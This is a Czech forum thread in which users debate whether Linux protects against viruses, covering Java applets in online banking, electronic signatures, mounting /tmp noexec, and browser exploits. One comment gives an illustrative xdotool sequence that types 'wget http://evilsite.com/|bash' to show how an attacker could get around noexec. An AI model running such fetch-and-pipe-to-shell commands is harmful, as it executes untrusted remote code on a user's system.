OpenMagazin vám radí: Zbavte se virů používáním linuxové distribuce (diskuse)

[FrostyX]

V článku o DE/WM jsem si všiml malinkého překlepu. "Awesome" se píše s "w" nikoli "v".

[Ruža Becelin]

Zavirovaný počítač je vždy důvod ke smutku. Pokud se chcete takových starostí zbavit, můžete si pročíst openMagazin, který se tomuto tématu věnuje.

Hmmm.

Bejvavalo

[MaT]

No a co jako? On dneska ještě někdo má ve výchozím stavu povolené Java Applety? Resp. on to ještě někdo dneska používá? (Minecraft se nepočítá...

[Rovano]

Nevím jestli myslíte to samé, ale některé banky to striktně vyžadují.

[Jendа]

Tak to povolím jenom té bance, ne?

(Nejlepší by stejně bylo od takové banky odejít. V IB není nic, co by nešlo vyřešit čistým HTML, ale appletem jo. Ukazuje to jen na jejich neschopnost.)

[Filip Jirsák]

Pokud bankovnictví používá elektronický podpis, jiná možnost než nějaký plugin není. Navíc zákaz Java appletů řeší jen tohoto konkrétního trojského koně, ale na jiné fungovat nebude. Když uživatel odkliká spuštění neznámého softwaru, odkliká to tentokrát v Javě, příště ve Flashi a přespříště jako plugin do prohlížeče. Takovému uživateli byste musel odinstalovat webový prohlížeč, aby se nemohl přes web nakazit...

[Jendа]

Pokud bankovnictví používá elektronický podpis, jiná možnost než nějaký plugin není.

Takže já si stáhnu z webu internetbankingu applet, spustím ho, dám mu soukromý klíč a něco v něm podepíšu? Jaký to má smysl? Pokud je kompromitovaný web, bude kompromitovaný i stahovaný applet.

[Filip Jirsák]

Elektronický podpis nikdy nechrání podepisujícího, vždy chrání příjemce zprávy -- ten jím může dokázat, že zprávu skutečně potvrdil ten, kdo je podepsán. Takže v případě banky by elektronický podpis chránil banku, měla by elektronicky podepsaný příkaz k úhradě.

Navíc to o kompromitaci appletu není pravda, něco jiného je napadnout web, něco jiného je podepsat applet důvěryhodným certifikátem.

[Jendа]

Pokud má být cílem, aby banka mohla na moji námitku „tuhle transakci jsem nezadával“ vytáhnout soubor „potvrzuji tuto transakci, elektronicky podepsán Jan Hrach,“ pak není možné, aby tento podpis vznikal v nějakém bytecodovém blobu dodaném bankou, ve kterém banka může mít backdoor.

[pavlix]

Ale je :). Bankovní bezpečnost prakticky nikdy nebere v potaz zákazníka. Postup v tomto případě je následující:

1) Škemrat u banky, aby transakci přezkoumala.

2) Popohánět banku, aby transakci opravdu přeskoumala.

Mezitím si nějak zajistit živobytí.

3) Vyhrožovat bance právníkem.

4) Sehnat si dobrého právníka.

[Nikola Pajkovský]

noexec flag na /tmp

[Jendа]

Nejde to různými kreativními způsoby obejít?

[Mrkva]

Dávno ne:

mrkva@destiny:~$ cd /tmp
mrkva@destiny:/tmp$ su
Heslo: 
root@destiny:/tmp# mkdir noexec
root@destiny:/tmp# chmod 777 noexec/
root@destiny:/tmp# mount -t tmpfs tmpfs noexec/ -o noexec
root@destiny:/tmp# exit
mrkva@destiny:/tmp$ cd noexec
mrkva@destiny:/tmp/noexec$ cp /usr/bin/id .
mrkva@destiny:/tmp/noexec$ ./id
bash: ./id: Permission denied
mrkva@destiny:/tmp/noexec$ /lib64/ld-linux-x86-64.so.2 ./id
./id: error while loading shared libraries: ./id: failed to map segment from shared object: Operation not permitted

[Jendа]

No dobře, ale stejně nevím, čemu to pomůže. Když už útočník může zapisovat a spouštět kód z /tmp, tak může zapisovat taky třeba do .bashrc. Nebo zrovna tenhle konkrétní exploit je závislý na /tmp?

[little.owl]

Když už útočník může zapisovat a spouštět kód z /tmp, tak může zapisovat taky třeba do .bashrc.

Zajimalo by mne, co na to SELinux.

[Jendа]

xdotool key Alt-F2

xdotool type xterm [RETURN]

xdotool type "wget http://evilsite.com/|bash - ; logout"

[Mrkva]

A nebo si přes Xka odposlechne rootovské heslo :)

I invoke.

Tak takhle jsem se dlouho nenasmál

[melkors]

Nekteri musi pouzivat iLO

[FrostyX]

A screenshot v kapitole o Gnome, není to unity ?

[Jendа]

No, absence virů je dána jenom rozšířením platformy, že.

[kyknos]

To si nemyslím. Rozhodně biologická analogie tak úplně nefunguje. Je to jen jeden z mnoha faktorů.

[Jendа]

Jak se dostává dneska malware nejčastěji do počítačů? Přiznám se, že trendy moc nesleduju, ale chodí mi spamy, ve kterých jsou očividně exploity na Javu/Flash/prohlížeč a pak ještě občas odkazy na .exe soubory. To je na Linuxu realizovatelné úplně stejně. Autoruny už nefrčí, ale viděl jsem nějaký buffer overflow při vytváření náhledů ve filemanageru. To shodou okolností nedávno bylo v Nautilu taky a libpng už taky leccos pamatuje.

[kyknos]

Ani já to nesleduju, ale řekl bych, že jeden ze zásadních rozdílů bude v poučenosti uživatelů různých platforem. Stejně tak jako v rozšířenosti Flashe zmíněného na různých platformách.

[D.A.Tiger]

Nemyslím, že by to bylo o tom, že by uživatelé nebyly poučeni. Spíš o tom, že ve Widlích se naučily slepě důvěřovat reklamě a systému. "Mám antivirus, firewalll, nejnovější aktualizace, tak co?" A už nesledují co jim třeba na FB servírují tvůrci nejrůznějších super COOL debilních aplikací....

A mám strach kdy se k tomu dohrabem taky. Začínám podobné móresy už trochu větřit i v našich binárních krajinách....

[Jendа]

Ani já to nesleduju, ale řekl bych, že jeden ze zásadních rozdílů bude v poučenosti uživatelů různých platforem.

To je. Ale pokud zmíněný OpenMagazin převede uživatele, kteří měli na Windows problém (a jsou tedy nepoučení) na Linux, jak si pomůžou?

Stejně tak jako v rozšířenosti Flashe zmíněného na různých platformách.

Flash má i spousta linuxáků a dá se očekávat, že BFU přecházející z Windows ho bude chtít taky.

[kyknos]

no myslím, že ty převody jsou velmi selektivní - zcela nepoučený uživatel má windows, linux obvykle instalují ti poučení (to, že je to vůbec napadne, znamená, že o tom přemýšlí a čtou, alespoň zatím)

[murzim]

Zavirovaný počítač je otázkou ignorace ze strany uživatele... Linux je zranitelný také... a není řešením...

[vain]

To není pravda, dostal jsem virus (3 roky zpět) jen navštívením (ani jsem nemusel na nic kliknout) stránky xzone.cz v aktualizované Opeře a aktualizovaných Windows XP i s aktualizovaným antivirovým programem. Následky katastrofální, skončily reinstalací OS.

Takže to evidentně o ignoranci uživatele není.

[Jendа]

Flash? Java? 0day? Browsení webu prostě není bezpečné, bohužel jiná použitelná možnost omezení prohlížeče než virtualizace (se značným výkonovým propadem) na Linuxu není, nepočítáme-li Links.

[Filip Jirsák]

Flash? Java?

Kdy byla naposledy ve Flashi nebo v Javě bezpečnostní chyba umožňující bez souhlasu uživatele spustit kód mimo pískoviště? Kolik takových chyb bylo celkem?

[Jendа]

Nevím, dal jsem do Google flash remote exploit a podíval se na první odkaz. Tady je další a ještě jedna.

[Filip Jirsák]

Takže ve Flashi 3 za posledních 6 let, v Javě pokud vím 1 za celou dobu existence. Myslím, že v samotných prohlížečích těch chyb bylo daleko víc.

[Jendа]

vain: Vyownovali mě přes plně aktualizovanou Operu na aktualizovaných XPčkách.

Jenda: Mohl to být exploit na Flash nebo Javu nebo zeroday na Operu.

FJ: Takové exploity byly za posledních 6 let jenom 4.

???

[Filip Jirsák]

Asi to bude chtít trochu si ujasnit pojmy.

Flash? Java? 0day?

Mohl to být exploit na Flash nebo Javu nebo zeroday na Operu.

V té první větě není nic o Opeře. V té druhé jste to sice rozepsal, ale pořád to nedává smysl. Myslel jste tedy tohle?

Mohl to být zero day exploit na Flash, Javu nebo na Operu.

[D.A.Tiger]

Ono se říká, že otevřený systém je tak bezpečný, jak schopný je ten, kdo se o něj stará. Uzavřený systém (rozuměj propertiální) je prý natolik bezpečný nakolik dovolí výrobce.

Ale tak jako tak - útočník/virus se k vám musí nějak vždycky dostat...